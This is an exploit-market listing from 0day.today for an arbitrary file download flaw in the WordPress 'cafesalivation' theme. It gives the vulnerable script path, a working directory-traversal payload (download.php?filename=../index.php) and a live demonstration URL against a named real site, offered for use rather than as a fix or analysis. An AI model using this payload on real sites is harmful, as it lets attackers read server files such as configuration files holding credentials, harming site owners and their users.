[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Wordpress cafesalivation theme - Arbitrary file download Vulnerability

Author
MrSqar
Risk
[
Security Risk High
]
0day-ID
0day-ID-29599
Category
web applications
Date add
21-01-2018
Platform
php
-===================­====================­=================-
# Exploit title : Wordpress cafesalivation theme - Arbitrary file downloadliberator
# author : MrSqar Yemeni hacker
# Team : IT-Geeks
# Tested on : BackBox linux
# check if site is vulnerabe : /wp-content/themes/cafesalivation/download.php
you can download any script from the site by this method 
site.com/wp-content/themes/cafesalivation/download.php?filename=../index.php
# deom site :
https://www.cafesalivation.com/wp-content/themes/cafesalivation/download.php?filename=../index.php 
-===================­====================­=================-

#  0day.today [2024-10-05]  #